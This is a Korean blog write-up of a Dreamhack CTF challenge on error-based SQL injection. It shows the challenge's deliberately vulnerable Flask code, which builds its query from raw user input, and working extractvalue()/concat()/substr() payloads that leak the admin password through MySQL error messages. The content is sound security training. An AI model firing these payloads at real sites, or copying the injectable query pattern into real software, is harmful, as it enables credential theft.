외로운 Nova의 작업실
dreamhack 웹해킹 - 12(error-based sqli) 본문
이번시간에는 error based sql injection 문제를 풀어보도록 하겠습니다.
https://dreamhack.io/wargame/challenges/412/
- 문제인식
뭔가 sql을 집어넣는 곳이 있는 것 같습니다. 문제 파일을 다운로드해보겠습니다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid를 넣으면 그 값으로 sql을 실행하게되고 uid값을 템플릿에 넣어 반환해주는 프로그램으로 확인됩니다. uid값을 검증하지않으니 sql injection이 가능해보입니다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
플래그의 경우에는 uid가 admin이인 upw에 있는 것으로 확인됩니다. 이를 이용해야겠다는 생각이듭니다. 일단 정상적인 페이지로는 uid값만 볼 수 있기때문에 flag값을 볼 수 없습니다. 따라서 error-based로 풀어야됩니다.
- 문제 풀이
SELECT extractvalue(1,concat(0x3a,version()));
위 문장을 실행하면 에러가 나면서 version()의 값이 에러코드와 함께 반환되는 것을 배웠습니다. 한번 집어넣어보겠습니다. 아래는 페이로드입니다.
1' union select extractvalue(1, concat(0x3a, version())) from user where uid = '1
mariaDB 10.5.12인 것을 확인할 수 있습니다. 이제 version()함수를 빼고 우리가 원하는 명령어를 넣어보겠습니다.
1' union select extractvalue(1, concat(0x3a, (select upw from user where uid = 'admin'))) from user where uid = '1
flag 값이 나온것을 확인할 수 있습니다. 하지만 뒤에 ...으로 짤려져서 나온것을 확인할 수 있습니다. 짤려서 나온 부분도 확인을 위해 substr() 함수를 이용해주겠습니다.
1' union select extractvalue(1, concat(0x3a, (select substr(upw, 26) from user where uid = 'admin'))) from user where uid = '1
둘을 합치게되면 플래그가 완성됩니다.
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
[dreamhack] node-serialize 풀이 (0) | 2023.01.28 |
---|---|
dreamhack 웹해킹 - 13(sql injection bypass WAF Advanced 풀이) (0) | 2023.01.21 |
dreamhack 웹해킹 - 11(blind-command) (0) | 2022.12.28 |
dreamhack 웹해킹 - 10(Carve Party) (0) | 2022.12.28 |
dreamhack 웹해킹 - 9(SSRF 함께 실습) (0) | 2022.12.27 |
Comments